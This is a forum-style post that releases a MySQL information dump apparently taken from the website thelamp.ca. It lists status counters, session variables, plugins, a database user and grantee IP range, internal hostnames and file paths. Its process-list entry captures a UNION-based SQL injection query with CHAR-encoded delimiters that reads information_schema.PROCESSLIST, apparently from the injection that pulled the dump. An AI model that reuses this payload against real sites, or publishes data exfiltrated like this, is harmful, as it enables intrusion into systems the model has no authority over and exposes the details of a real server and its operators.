thelamp.ca

This is from thelamp.ca. I've had this one on my computer for some time. I figured I'd release it.


--------SESSION_STATUS-------------

VARIABLE_NAME,VARIABLE_VALUE
"COM_SHOW_STORAGE_ENGINES","0"
"COM_SHOW_COLLATIONS","0"
"INNODB_ROW_LOCK_TIME","0"
"COM_DROP_TRIGGER","0"
"COM_PURGE_BEFORE_DATE","0"
"COM_SHOW_PLUGINS","0"
"INNODB_ROW_LOCK_CURRENT_WAITS","0"
"COM_XA_RECOVER","0"
"COM_SHOW_BINLOG_EVENTS","0"
"COM_SHOW_PROFILE","0"
"COM_CREATE_UDF","0"
"COM_INSERT_SELECT","0"
"HANDLER_READ_RND","0"
"SORT_ROWS","0"
"TC_LOG_PAGE_SIZE","0"
"HANDLER_DISCOVER","0"
"INNODB_ROWS_INSERTED","23460"
"DELAYED_WRITES","509"
"COM_CHANGE_MASTER","0"
"COM_REPAIR","0"
"OPENED_FILES","178453438"
"OPENED_TABLE_DEFINITIONS","0"
"CREATED_TMP_FILES","707359"
"COM_SAVEPOINT","0"
"HANDLER_PREPARE","0"
"TC_LOG_PAGE_WAITS","0"
"COM_SHOW_ENGINE_STATUS","0"
"COM_SHOW_CHARSETS","0"
"COM_REPLACE","0"
"COM_DEALLOC_SQL","0"
"SSL_SESSION_CACHE_OVERFLOWS","0"
"COM_DROP_FUNCTION","0"
"COM_SHOW_SLAVE_HOSTS","0"
"COM_STMT_FETCH","0"
"KEY_READ_REQUESTS","512572473581"
"THREADS_RUNNING","2"
"COM_UPDATE_MULTI","0"
"COM_KILL","0"
"INNODB_BUFFER_POOL_READ_REQUESTS","63809921"
"INNODB_BUFFER_POOL_PAGES_DIRTY","0"
"QCACHE_FREE_MEMORY","7373248"
"COM_CREATE_USER","0"
"SSL_VERIFY_DEPTH","0"
"COM_LOAD_MASTER_DATA","0"
"COM_EMPTY_QUERY","0"
"COM_SHOW_CREATE_PROC","0"
"COM_PURGE","0"
"COM_CREATE_TABLE","0"
"TC_LOG_MAX_PAGES_USED","0"
"INNODB_PAGE_SIZE","16384"
"CREATED_TMP_TABLES","2"
"COM_RENAME_TABLE","0"
"COM_INSERT","0"
"INNODB_PAGES_CREATED","2403"
"HANDLER_SAVEPOINT_ROLLBACK","0"
"COM_STMT_REPREPARE","0"
"UPTIME","17043752"
"OPEN_TABLES","350"
"SSL_FINISHED_ACCEPTS","0"
"COM_SHOW_PRIVILEGES","0"
"INNODB_LOG_WAITS","0"
"COM_DELETE","0"
"ABORTED_CONNECTS","352444"
"COM_REVOKE_ALL","0"
"DELAYED_ERRORS","0"
"COM_XA_ROLLBACK","0"
"SSL_DEFAULT_TIMEOUT","0"
"COM_PRELOAD_KEYS","0"
"BYTES_RECEIVED","506"
"SSL_CIPHER_LIST","NULL"
"COM_CREATE_FUNCTION","0"
"COM_EXECUTE_SQL","0"
"COM_XA_COMMIT","0"
"INNODB_BUFFER_POOL_PAGES_MISC","1"
"COM_HELP","0"
"COM_UNINSTALL_PLUGIN","0"
"COM_SHOW_MASTER_STATUS","0"
"HANDLER_DELETE","0"
"COM_DROP_SERVER","0"
"ABORTED_CLIENTS","507617"
"COM_BEGIN","0"
"SELECT_SCAN","1"
"INNODB_BUFFER_POOL_READ_AHEAD_SEQ","439"
"COM_GRANT","0"
"COM_XA_PREPARE","0"
"COM_ALTER_EVENT","0"
"SSL_SESSION_CACHE_HITS","0"
"INNODB_BUFFER_POOL_PAGES_FLUSHED","22998"
"COM_DROP_PROCEDURE","0"
"COM_SHOW_ENGINE_LOGS","0"
"BINLOG_CACHE_USE","0"
"COM_ALTER_FUNCTION","0"
"SLAVE_RETRIED_TRANSACTIONS","0"
"INNODB_ROW_LOCK_TIME_AVG","0"
"COM_STMT_CLOSE","0"
"QUESTIONS","3"
"QCACHE_HITS","428326895"
"COM_SHOW_PROFILES","0"
"SSL_FINISHED_CONNECTS","0"
"KEY_BLOCKS_NOT_FLUSHED","0"
"HANDLER_READ_RND_NEXT","0"
"COM_SHOW_CREATE_DB","0"
"COM_SHOW_CREATE_EVENT","0"
"COM_SHOW_NEW_MASTER","0"
"COM_DELETE_MULTI","0"
"COM_CREATE_VIEW","0"
"COM_ALTER_TABLE","0"
"MAX_USED_CONNECTIONS","494"
"SORT_RANGE","0"
"COM_REPLACE_SELECT","0"
"COM_SHOW_TABLES","0"
"COM_SHOW_ENGINE_MUTEX","0"
"COM_BACKUP_TABLE","0"
"COM_SHOW_WARNINGS","0"
"COM_SHOW_KEYS","0"
"COM_LOAD","0"
"INNODB_BUFFER_POOL_PAGES_DATA","511"
"COM_COMMIT","0"
"INNODB_BUFFER_POOL_PAGES_TOTAL","512"
"SSL_CTX_VERIFY_MODE","0"
"COM_ADMIN_COMMANDS","0"
"TABLE_LOCKS_IMMEDIATE","315758181"
"COM_CREATE_SERVER","0"
"UPTIME_SINCE_FLUSH_STATUS","17043752"
"SLOW_LAUNCH_THREADS","6"
"COM_SHOW_CONTRIBUTORS","0"
"SSL_SESSION_CACHE_MISSES","0"
"COM_SHOW_STATUS","0"
"COM_CALL_PROCEDURE","0"
"COM_PREPARE_SQL","0"
"COM_ALTER_TABLESPACE","0"
"COM_REVOKE","0"
"QUERIES","824806854"
"COM_RESTORE_TABLE","0"
"COM_UNLOCK_TABLES","0"
"SSL_CONNECT_RENEGOTIATES","0"
"COM_DO","0"
"COM_SHOW_BINLOGS","0"
"SSL_VERSION","NULL"
"BYTES_SENT","992"
"COM_ASSIGN_TO_KEYCACHE","0"
"QCACHE_INSERTS","202210863"
"HANDLER_READ_FIRST","0"
"COM_ALTER_PROCEDURE","0"
"COM_ALTER_DB","0"
"SLOW_QUERIES","0"
"COM_ALTER_SERVER","0"
"COM_SHOW_PROCESSLIST","0"
"OPENED_TABLES","0"
"INNODB_DBLWR_WRITES","3662"
"COM_CHECK","0"
"COM_DROP_TABLE","0"
"INNODB_LOG_WRITES","22111"
"KEY_BLOCKS_UNUSED","0"
"SLAVE_RUNNING","OFF"
"COM_STMT_SEND_LONG_DATA","0"
"COM_CHECKSUM","0"
"INNODB_DATA_FSYNCS","38372"
"COM_SLAVE_START","0"
"COM_SHOW_GRANTS","0"
"INNODB_BUFFER_POOL_WRITE_REQUESTS","404189"
"COM_XA_END","0"
"INNODB_DATA_PENDING_WRITES","0"
"INNODB_DATA_READS","2646522"
"INNODB_DATA_PENDING_FSYNCS","0"
"HANDLER_ROLLBACK","0"
"SSL_CALLBACK_CACHE_HITS","0"
"SSL_ACCEPTS","0"
"SSL_SESSIONS_REUSED","0"
"LAST_QUERY_COST","0.000000"
"FLUSH_COMMANDS","198"
"INNODB_ROW_LOCK_WAITS","2"
"INNODB_ROWS_READ","38090589"
"COM_INSTALL_PLUGIN","0"
"HANDLER_READ_KEY","1"
"COM_CREATE_TRIGGER","0"
"COM_SHOW_OPEN_TABLES","0"
"INNODB_ROWS_UPDATED","24564"
"COM_SHOW_FUNCTION_STATUS","0"
"COM_XA_START","0"
"INNODB_PAGES_READ","2773971"
"KEY_BLOCKS_USED","5846"
"SSL_CTX_VERIFY_DEPTH","0"
"COM_SHOW_CREATE_FUNC","0"
"KEY_WRITE_REQUESTS","2763886146"
"COM_SHOW_SLAVE_STATUS","0"
"COM_SHOW_DATABASES","0"
"HANDLER_UPDATE","0"
"COM_CREATE_DB","0"
"COM_SHOW_COLUMN_TYPES","0"
"OPEN_FILES","684"
"INNODB_DATA_PENDING_READS","0"
"COM_ROLLBACK_TO_SAVEPOINT","0"
"QCACHE_NOT_CACHED","13855181"
"COM_SHOW_ERRORS","0"
"KEY_WRITES","268757234"
"COM_STMT_RESET","0"
"INNODB_OS_LOG_PENDING_FSYNCS","0"
"INNODB_BUFFER_POOL_READ_AHEAD_RND","73825"
"COM_ROLLBACK","0"
"QCACHE_TOTAL_BLOCKS","12411"
"COM_HA_OPEN","0"
"COM_SHOW_FIELDS","0"
"COM_TRUNCATE","0"
"CONNECTIONS","29161053"
"TABLE_LOCKS_WAITED","361992"
"THREADS_CREATED","42052"
"INNODB_OS_LOG_FSYNCS","25271"
"SLAVE_OPEN_TEMP_TABLES","0"
"THREADS_CACHED","16"
"INNODB_DATA_READ","45450924032"
"INNODB_BUFFER_POOL_PAGES_FREE","0"
"KEY_READS","14267339720"
"INNODB_LOG_WRITE_REQUESTS","121778"
"COM_DROP_INDEX","0"
"QCACHE_FREE_BLOCKS","730"
"NOT_FLUSHED_DELAYED_ROWS","0"
"SSL_SESSION_CACHE_MODE","NONE"
"COM_HA_CLOSE","0"
"COM_SHOW_EVENTS","0"
"RPL_STATUS","NULL"
"SSL_SESSION_CACHE_TIMEOUTS","0"
"COM_LOCK_TABLES","0"
"HANDLER_READ_NEXT","0"
"COM_BINLOG","0"
"COM_RENAME_USER","0"
"COM_SHOW_AUTHORS","0"
"COM_UPDATE","0"
"INNODB_PAGES_WRITTEN","22998"
"COM_FLUSH","0"
"QCACHE_LOWMEM_PRUNES","104294625"
"COM_CHANGE_DB","1"
"INNODB_ROWS_DELETED","14178"
"COM_CREATE_EVENT","0"
"INNODB_DATA_WRITTEN","824448000"
"COM_SELECT","1"
"INNODB_OS_LOG_WRITTEN","69218816"
"OPEN_STREAMS","0"
"OPEN_TABLE_DEFINITIONS","330"
"COM_DROP_DB","0"
"COM_SHOW_PROCEDURE_STATUS","0"
"HANDLER_SAVEPOINT","0"
"COM_SLAVE_STOP","0"
"SSL_CLIENT_CONNECTS","0"
"COM_ALTER_DB_UPGRADE","0"
"SORT_MERGE_PASSES","0"
"SELECT_FULL_RANGE_JOIN","0"
"SSL_SESSION_CACHE_SIZE","0"
"COM_DROP_EVENT","0"
"COM_SHOW_TRIGGERS","0"
"SORT_SCAN","0"
"COM_SHOW_CREATE_TRIGGER","0"
"COM_ANALYZE","0"
"COM_DROP_USER","0"
"SSL_USED_SESSION_CACHE_ENTRIES","0"
"COM_RESET","0"
"INNODB_OS_LOG_PENDING_WRITES","0"
"HANDLER_COMMIT","0"
"PREPARED_STMT_COUNT","0"
"COM_CREATE_INDEX","0"
"COM_STMT_PREPARE","0"
"QCACHE_QUERIES_IN_CACHE","4371"
"COM_LOAD_MASTER_TABLE","0"
"CREATED_TMP_DISK_TABLES","1"
"COM_SHOW_TABLE_STATUS","0"
"INNODB_DBLWR_PAGES_WRITTEN","22998"
"COM_OPTIMIZE","0"
"HANDLER_WRITE","171"
"SSL_VERIFY_MODE","0"
"COM_RELEASE_SAVEPOINT","0"
"SSL_ACCEPT_RENEGOTIATES","0"
"INNODB_ROW_LOCK_TIME_MAX","0"
"SSL_CIPHER","NULL"
"HANDLER_READ_PREV","0"
"INNODB_BUFFER_POOL_READS","2480447"
"COM_STMT_EXECUTE","0"
"BINLOG_CACHE_DISK_USE","0"
"DELAYED_INSERT_THREADS","0"
"THREADS_CONNECTED","4"
"INNODB_DATA_WRITES","44102"
"INNODB_BUFFER_POOL_WAIT_FREE","0"
"COM_DROP_VIEW","0"
"COM_HA_READ","0"
"SELECT_RANGE","0"
"COMPRESSION","OFF"
"SELECT_FULL_JOIN","0"
"COM_SHOW_CREATE_TABLE","0"
"SELECT_RANGE_CHECK","0"
"COM_SET_OPTION","0"
"COM_SHOW_VARIABLES","0"
"COM_CREATE_PROCEDURE","0"







-----------------PROCESSLIST---------------

COMMAND,DB,HOST,ID,INFO,STATE,TIME,USER
"Query","lamp","apache2-jiffy.hohner.dreamhost.com:60064","29161302","Select * from tbl_content Where content_ID = -8487 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR(58,120,116,104,58),IFNULL(CAST(INFO AS CHAR),CHAR(32)),CHAR(100,101,98,122,112,121),IFNULL(CAST(DB AS CHAR),CHAR(32)),CHAR(100,101,98,122,112,121),IFNULL(CAST(HOST AS CHAR),CHAR(32)),CHAR(100,101,98,122,112,121),IFNULL(CAST(STATE AS CHAR),CHAR(32)),CHAR(100,101,98,122,112,121),IFNULL(CAST(COMMAND AS CHAR),CHAR(32)),CHAR(100,101,98,122,112,121),IFNULL(CAST(USER AS CHAR),CHAR(32)),CHAR(100,101,98,122,112,121),IFNULL(CAST(TIME AS CHAR),CHAR(32)),CHAR(100,101,98,122,112,121),IFNULL(CAST(ID AS CHAR),CHAR(32)),CHAR(58,100,107,102,58)), NULL FROM information_schema.PROCESSLIST LIMIT 0,1#","executing","0","catmac"








-----------------PLUGINS---------------

PLUGIN_AUTHOR,PLUGIN_DESCRIPTION,PLUGIN_LIBRARY,PLUGIN_LIBRARY_VERSION,PLUGIN_LICENSE,PLUGIN_NAME,PLUGIN_STATUS,PLUGIN_TYPE,PLUGIN_TYPE_VERSION,PLUGIN_VERSION
"Brian Aker, MySQL AB","CSV storage engine","NULL","NULL","GPL","CSV","ACTIVE","STORAGE ENGINE","50153.0","1.0"
"Innobase OY","Supports transactions, row-level locking, and foreign keys","NULL","NULL","GPL","InnoDB","ACTIVE","STORAGE ENGINE","50153.0","1.0"
"MySQL AB","Collection of identical MyISAM tables","NULL","NULL","GPL","MRG_MYISAM","ACTIVE","STORAGE ENGINE","50153.0","1.0"
"MySQL AB","Default engine as of MySQL 3.23 with great performance","NULL","NULL","GPL","MyISAM","ACTIVE","STORAGE ENGINE","50153.0","1.0"
"MySQL AB","This is a pseudo storage engine to represent the binlog in a transaction","NULL","NULL","GPL","binlog","ACTIVE","STORAGE ENGINE","50153.0","1.0"
"MySQL AB","Hash based, stored in memory, useful for temporary tables","NULL","NULL","GPL","MEMORY","ACTIVE","STORAGE ENGINE","50153.0","1.0"






-----------------USER_PRIVILEGES--------------

GRANTEE,IS_GRANTABLE,PRIVILEGE_TYPE,TABLE_CATALOG
"'catmac'@'173.236.128.0/255.255.128.0'","NO","USAGE","NULL"









----------------SESSION_VARIABLES------------------

VARIABLE_NAME,VARIABLE_VALUE
"LOG_WARNINGS","2"
"TIMESTAMP","1311558413"
"MYISAM_SORT_BUFFER_SIZE","8388608"
"TABLE_DEFINITION_CACHE","256"
"RELAY_LOG_INDEX","NULL"
"INNODB_COMMIT_CONCURRENCY","0"
"MIN_EXAMINED_ROW_LIMIT","0"
"HAVE_OPENSSL","DISABLED"
"QUERY_CACHE_MIN_RES_UNIT","4096"
"INNODB_THREAD_SLEEP_DELAY","10000"
"NEW","ON"
"CHARACTER_SET_FILESYSTEM","binary"
"MAX_INSERT_DELAYED_THREADS","20"
"MYISAM_DATA_POINTER_SIZE","6"
"READ_ONLY","OFF"
"AUTO_INCREMENT_INCREMENT","1"
"THREAD_STACK","262144"
"LONG_QUERY_TIME","10.000000"
"QUERY_CACHE_SIZE","52428800"
"MAX_BINLOG_CACHE_SIZE","18446744073709547520"
"SLOW_QUERY_LOG","ON"
"SERVER_ID","35882"
"KEY_BUFFER_SIZE","7340032"
"LOG_QUERIES_NOT_USING_INDEXES","ON"
"FT_STOPWORD_FILE","(built-in)"
"HAVE_INNODB","YES"
"NET_WRITE_TIMEOUT","60"
"PROTOCOL_VERSION","10"
"LOG_BIN","OFF"
"MAX_LENGTH_FOR_SORT_DATA","1024"
"INNODB_AUTOINC_LOCK_MODE","1"
"SKIP_EXTERNAL_LOCKING","ON"
"TIME_ZONE","SYSTEM"
"LOG_ERROR","/dh/mysql/logs/mysql.foks.err"
"INNODB_LOCK_WAIT_TIMEOUT","50"
"EVENT_SCHEDULER","OFF"
"RANGE_ALLOC_BLOCK_SIZE","4096"
"GENERAL_LOG","ON"
"INNODB_USE_LEGACY_CARDINALITY_ALGORITHM","ON"
"HAVE_QUERY_CACHE","YES"
"SQL_LOG_UPDATE","ON"
"SORT_BUFFER_SIZE","1048576"
"SSL_CIPHER","NULL"
"CHARACTER_SET_DATABASE","latin1"
"HAVE_GEOMETRY","YES"
"READ_RND_BUFFER_SIZE","262144"
"INNODB_ADAPTIVE_HASH_INDEX","ON"
"INNODB_MAX_PURGE_LAG","0"
"INNODB_LOG_BUFFER_SIZE","1048576"
"VERSION_COMMENT","MySQL Server"
"MULTI_RANGE_COUNT","256"
"BINLOG_FORMAT","STATEMENT"
"PROFILING_HISTORY_SIZE","15"
"INNODB_ROLLBACK_ON_TIMEOUT","OFF"
"DIV_PRECISION_INCREMENT","4"
"MAX_TMP_TABLES","32"
"CONCURRENT_INSERT","1"
"SQL_AUTO_IS_NULL","ON"
"HAVE_CSV","YES"
"MYISAM_MAX_SORT_FILE_SIZE","9223372036853727232"
"SYSTEM_TIME_ZONE","PST"
"CHARACTER_SETS_DIR","/data/mysql/foks/share/mysql/charsets/"
"COMPLETION_TYPE","0"
"DATETIME_FORMAT","%Y-%m-%d %H:%i:%s"
"SLAVE_COMPRESSED_PROTOCOL","OFF"
"LOWER_CASE_FILE_SYSTEM","OFF"
"LOG","ON"
"INNODB_FORCE_RECOVERY","0"
"WAIT_TIMEOUT","14400"
"RAND_SEED2","NULL"
"MYISAM_USE_MMAP","OFF"
"SSL_CAPATH","NULL"
"LARGE_FILES_SUPPORT","ON"
"IDENTITY","0"
"COLLATION_SERVER","latin1_swedish_ci"
"SKIP_NETWORKING","OFF"
"MAX_HEAP_TABLE_SIZE","16777216"
"SECURE_FILE_PRIV","NULL"
"RPL_RECOVERY_RANK","0"
"REPORT_HOST","NULL"
"INNODB_DATA_HOME_DIR","NULL"
"INNODB_SYNC_SPIN_LOOPS","20"
"OPTIMIZER_SEARCH_DEPTH","62"
"INNODB_DOUBLEWRITE","ON"
"PLUGIN_DIR","/data/mysql/foks/lib/mysql/plugin"
"SQL_LOG_OFF","OFF"
"LAST_INSERT_ID","0"
"INNODB_FLUSH_METHOD","NULL"
"SLAVE_TRANSACTION_RETRIES","10"
"DATADIR","/dh/mysql/foks/data/"
"INNODB_FILE_PER_TABLE","ON"
"SKIP_SHOW_DATABASE","OFF"
"EXPIRE_LOGS_DAYS","0"
"TMP_TABLE_SIZE","16777216"
"BIG_TABLES","OFF"
"KEEP_FILES_ON_CREATE","OFF"
"OPTIMIZER_SWITCH","index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on"
"INNODB_CONCURRENCY_TICKETS","500"
"TRANSACTION_PREALLOC_SIZE","4096"
"SLOW_LAUNCH_TIME","2"
"SSL_CERT","NULL"
"SQL_QUOTE_SHOW_CREATE","ON"
"KEY_CACHE_AGE_THRESHOLD","300"
"SQL_BIG_TABLES","OFF"
"MAX_JOIN_SIZE","18446744073709551615"
"SKIP_NAME_RESOLVE","OFF"
"MAX_USER_CONNECTIONS","300"
"HAVE_COMMUNITY_FEATURES","YES"
"INNODB_OPEN_FILES","300"
"SYNC_BINLOG","0"
"MYISAM_REPAIR_THREADS","1"
"DELAYED_INSERT_LIMIT","100"
"SLAVE_LOAD_TMPDIR","/tmp"
"TABLE_LOCK_WAIT_TIMEOUT","50"
"AUTOMATIC_SP_PRIVILEGES","ON"
"QUERY_CACHE_WLOCK_INVALIDATE","OFF"
"TRANSACTION_ALLOC_BLOCK_SIZE","8192"
"INIT_CONNECT","NULL"
"MAX_SP_RECURSION_DEPTH","0"
"PRELOAD_BUFFER_SIZE","32768"
"ENGINE_CONDITION_PUSHDOWN","ON"
"SLAVE_SKIP_ERRORS","OFF"
"INNODB_FLUSH_LOG_AT_TRX_COMMIT","1"
"FOREIGN_KEY_CHECKS","ON"
"CHARACTER_SET_CONNECTION","latin1"
"OLD","OFF"
"OPEN_FILES_LIMIT","65535"
"FT_MAX_WORD_LEN","84"
"IGNORE_BUILTIN_INNODB","OFF"
"ERROR_COUNT","0"
"INNODB_ADDITIONAL_MEM_POOL_SIZE","1048576"
"TX_ISOLATION","REPEATABLE-READ"
"KEY_CACHE_BLOCK_SIZE","1024"
"LOG_OUTPUT","FILE"
"LOG_BIN_TRUST_ROUTINE_CREATORS","OFF"
"HAVE_RTREE_KEYS","YES"
"SECURE_AUTH","OFF"
"SQL_BUFFER_RESULT","OFF"
"CHARACTER_SET_RESULTS","latin1"
"INNODB_THREAD_CONCURRENCY","8"
"PID_FILE","/tmp/mysql.foks.pid"
"WARNING_COUNT","0"
"INNODB_FAST_SHUTDOWN","1"
"STORAGE_ENGINE","MyISAM"
"READ_BUFFER_SIZE","1048576"
"BULK_INSERT_BUFFER_SIZE","8388608"
"DELAY_KEY_WRITE","ON"
"INIT_FILE","NULL"
"CHARACTER_SET_SERVER","latin1"
"MAX_BINLOG_SIZE","1073741824"
"GROUP_CONCAT_MAX_LEN","1024"
"SSL_KEY","NULL"
"MAX_SORT_LENGTH","1024"
"LARGE_PAGE_SIZE","0"
"LOW_PRIORITY_UPDATES","OFF"
"THREAD_CACHE_SIZE","20"
"BASEDIR","/data/mysql/foks/"
"NET_RETRY_COUNT","10"
"SOCKET","/dh/mysql/foks/mysql.foks.sock"
"INSERT_ID","0"
"LOCAL_INFILE","ON"
"PORT","3306"
"INNODB_LOCKS_UNSAFE_FOR_BINLOG","OFF"
"AUTOCOMMIT","ON"
"SSL_CA","NULL"
"QUERY_ALLOC_BLOCK_SIZE","8192"
"VERSION_COMPILE_MACHINE","x86_64"
"RELAY_LOG_SPACE_LIMIT","0"
"RAND_SEED1","NULL"
"CHARACTER_SET_CLIENT","latin1"
"INNODB_DATA_FILE_PATH","ibdata1:10M:autoextend"
"REPORT_PORT","3306"
"HAVE_CRYPT","YES"
"MAX_DELAYED_THREADS","20"
"SQL_BIG_SELECTS","ON"
"HAVE_COMPRESS","YES"
"OLD_PASSWORDS","OFF"
"SLAVE_NET_TIMEOUT","3600"
"REPORT_PASSWORD","NULL"
"HAVE_DYNAMIC_LOADING","YES"
"HAVE_SYMLINK","YES"
"VERSION","5.1.53-log"
"HAVE_PARTITIONING","NO"
"MAX_WRITE_LOCK_COUNT","18446744073709551615"
"DATE_FORMAT","%Y-%m-%d"
"BACK_LOG","50"
"SYNC_FRM","ON"
"INNODB_LOG_FILES_IN_GROUP","2"
"SQL_MAX_JOIN_SIZE","18446744073709551615"
"LOWER_CASE_TABLE_NAMES","0"
"BINLOG_CACHE_SIZE","32768"
"TIMED_MUTEXES","OFF"
"LANGUAGE","/data/mysql/foks/share/mysql/english/"
"TMPDIR","/tmp"
"LC_TIME_NAMES","en_US"
"MAX_RELAY_LOG_SIZE","0"
"UNIQUE_CHECKS","ON"
"LOG_SLOW_QUERIES","ON"
"JOIN_BUFFER_SIZE","1048576"
"SQL_LOW_PRIORITY_UPDATES","OFF"
"INNODB_AUTOEXTEND_INCREMENT","8"
"INIT_SLAVE","NULL"
"FT_BOOLEAN_SYNTAX","+ -><()~*:""&|"
"MYISAM_RECOVER_OPTIONS","BACKUP,FORCE"
"TIME_FORMAT","%H:%i:%s"
"TABLE_OPEN_CACHE","350"
"HAVE_NDBCLUSTER","NO"
"INNODB_MAX_DIRTY_PAGES_PCT","90"
"SQL_SELECT_LIMIT","18446744073709551615"
"DELAYED_QUEUE_SIZE","1000"
"INNODB_LOG_FILE_SIZE","5242880"
"SLAVE_EXEC_MODE","STRICT"
"QUERY_CACHE_LIMIT","5242880"
"NET_READ_TIMEOUT","30"
"MAX_ERROR_COUNT","64"
"MAX_CONNECTIONS","1200"
"INNODB_LOG_GROUP_HOME_DIR","./"
"FT_MIN_WORD_LEN","3"
"INNODB_SUPPORT_XA","ON"
"SQL_SAFE_UPDATES","OFF"
"INNODB_TABLE_LOCKS","ON"
"NET_BUFFER_LENGTH","16384"
"OLD_ALTER_TABLE","OFF"
"INNODB_FILE_IO_THREADS","4"
"LICENSE","GPL"
"CHARACTER_SET_SYSTEM","utf8"
"REPORT_USER","NULL"
"SQL_NOTES","ON"
"MAX_PREPARED_STMT_COUNT","16382"
"SQL_MODE","NULL"
"VERSION_COMPILE_OS","pc-linux-gnu"
"SQL_SLAVE_SKIP_COUNTER","NULL"
"PSEUDO_THREAD_ID","29161466"
"PROFILING","OFF"
"HAVE_SSL","DISABLED"
"OPTIMIZER_PRUNE_LEVEL","1"
"FLUSH","OFF"
"THREAD_HANDLING","one-thread-per-connection"
"RELAY_LOG","NULL"
"BINLOG_DIRECT_NON_TRANSACTIONAL_UPDATES","OFF"
"AUTO_INCREMENT_OFFSET","1"
"LARGE_PAGES","OFF"
"MAX_SEEKS_FOR_KEY","18446744073709551615"
"MAX_CONNECT_ERRORS","10000"
"QUERY_CACHE_TYPE","ON"
"INTERACTIVE_TIMEOUT","28800"
"SLOW_QUERY_LOG_FILE","/dh/mysql/logs/mysql.foks.slow"
"DELAYED_INSERT_TIMEOUT","300"
"MAX_ALLOWED_PACKET","16777216"
"LOG_SLAVE_UPDATES","OFF"
"FLUSH_TIME","0"
"INNODB_BUFFER_POOL_SIZE","8388608"
"COLLATION_DATABASE","latin1_swedish_ci"
"FT_QUERY_EXPANSION_LIMIT","20"
"LOG_BIN_TRUST_FUNCTION_CREATORS","OFF"
"MYISAM_MMAP_SIZE","18446744073709551615"
"LOCKED_IN_MEMORY","OFF"
"DEFAULT_WEEK_FORMAT","0"
"RELAY_LOG_INFO_FILE","relay-log.info"
"SQL_LOG_BIN","ON"
"CONNECT_TIMEOUT","10"
"UPDATABLE_VIEWS_WITH_LIMIT","YES"
"COLLATION_CONNECTION","latin1_swedish_ci"
"INNODB_STATS_ON_METADATA","ON"
"SQL_WARNINGS","OFF"
"RELAY_LOG_PURGE","ON"
"MYISAM_STATS_METHOD","nulls_unequal"
"INNODB_CHECKSUMS","ON"
"TABLE_TYPE","MyISAM"
"HOSTNAME","killifish"
"KEY_CACHE_DIVISION_LIMIT","100"
"GENERAL_LOG_FILE","/dh/mysql/logs/mysql.foks.log"
"QUERY_PREALLOC_SIZE","8192"
"INNODB_MIRRORED_LOG_GROUPS","1"






----------------GLOBAL_STATUS------------------

VARIABLE_NAME,VARIABLE_VALUE
"COM_SHOW_GRANTS","148"
"QUERIES","824822109"
"INNODB_ROW_LOCK_TIME","0"
"COM_DROP_TRIGGER","0"
"COM_PURGE_BEFORE_DATE","0"
"COM_STMT_PREPARE","12122"
"INNODB_ROW_LOCK_CURRENT_WAITS","0"
"COM_XA_RECOVER","0"
"HANDLER_SAVEPOINT","481"
"COM_SHOW_BINLOG_EVENTS","0"
"COM_SHOW_PROFILE","0"
"COM_CREATE_UDF","0"
"COM_GRANT","700"
"KEY_WRITE_REQUESTS","2764225134"
"COM_SHOW_BINLOGS","222"
"INNODB_DATA_READ","45450924032"
"SSL_DEFAULT_TIMEOUT","0"
"QCACHE_FREE_MEMORY","7828320"
"HANDLER_DISCOVER","0"
"COM_SHOW_TABLE_STATUS","3222364"
"COM_SAVEPOINT","481"
"SORT_ROWS","45439423791"
"DELAYED_WRITES","509"
"COM_CHANGE_MASTER","0"
"COM_REPAIR","0"
"COM_PREPARE_SQL","141"
"LAST_QUERY_COST","0.000000"
"INNODB_DATA_PENDING_WRITES","0"
"HANDLER_PREPARE","0"
"THREADS_CREATED","42052"
"COM_ALTER_DB_UPGRADE","0"
"COM_SHOW_ENGINE_STATUS","0"
"COM_XA_START","0"
"SSL_SESSION_CACHE_OVERFLOWS","0"
"SORT_MERGE_PASSES","375903"
"COM_DROP_FUNCTION","0"
"COM_SHOW_SLAVE_HOSTS","0"
"COM_STMT_FETCH","0"
"COM_SHOW_STORAGE_ENGINES","15"
"COM_DELETE_MULTI","834"
"INNODB_BUFFER_POOL_READ_REQUESTS","63809921"
"BYTES_RECEIVED","120218597626"
"COM_STMT_RESET","7591"
"QCACHE_NOT_CACHED","13856329"
"COM_CREATE_USER","0"
"OPEN_FILES","690"
"CREATED_TMP_TABLES","33152112"
"COM_LOAD_MASTER_DATA","0"
"COM_SHOW_CREATE_PROC","0"
"THREADS_CACHED","14"
"COM_PURGE","0"
"SSL_CLIENT_CONNECTS","0"
"TC_LOG_MAX_PAGES_USED","0"
"INNODB_PAGE_SIZE","16384"
"KEY_WRITES","268761653"
"SSL_SESSION_CACHE_MODE","NONE"
"HANDLER_SAVEPOINT_ROLLBACK","0"
"COM_STMT_REPREPARE","0"
"OPEN_TABLES","350"
"SSL_FINISHED_ACCEPTS","0"
"COM_SHOW_PRIVILEGES","0"
"INNODB_LOG_WAITS","0"
"HANDLER_COMMIT","552840"
"COM_REVOKE_ALL","0"
"DELAYED_ERRORS","0"
"COM_XA_ROLLBACK","0"
"COM_BEGIN","2821181"
"COM_PRELOAD_KEYS","0"
"SSL_SESSION_CACHE_SIZE","0"
"SSL_CIPHER_LIST","NULL"
"COM_DEALLOC_SQL","141"
"COM_XA_COMMIT","0"
"INNODB_BUFFER_POOL_PAGES_MISC","1"
"COM_HELP","0"
"COM_UNINSTALL_PLUGIN","0"
"CONNECTIONS","29162300"
"ABORTED_CONNECTS","352447"
"SLOW_QUERIES","20627372"
"COM_ALTER_TABLE","673"
"KEY_READS","14267582670"
"COM_ROLLBACK","1"
"SELECT_RANGE","29014528"
"INNODB_ROWS_UPDATED","24564"
"COM_XA_PREPARE","0"
"COM_ALTER_EVENT","0"
"KEY_READ_REQUESTS","512581833048"
"INNODB_OS_LOG_FSYNCS","25271"
"COM_DROP_PROCEDURE","0"
"COM_SHOW_ENGINE_LOGS","0"
"SELECT_SCAN","33144992"
"BINLOG_CACHE_USE","0"
"COM_ALTER_FUNCTION","0"
"INNODB_ROW_LOCK_TIME_AVG","0"
"SSL_USED_SESSION_CACHE_ENTRIES","0"
"COM_SHOW_PROCEDURE_STATUS","85093"
"UPTIME_SINCE_FLUSH_STATUS","17044027"
"COM_SHOW_FIELDS","4678462"
"COM_SHOW_PROFILES","0"
"COM_UNLOCK_TABLES","162753"
"KEY_BLOCKS_NOT_FLUSHED","0"
"COM_SET_OPTION","48294284"
"COM_SHOW_CREATE_EVENT","0"
"COM_SHOW_NEW_MASTER","0"
"COM_CREATE_VIEW","0"
"COM_DROP_TABLE","881"
"COM_SHOW_SLAVE_STATUS","320"
"COM_REPLACE_SELECT","0"
"COM_REPLACE","4041914"
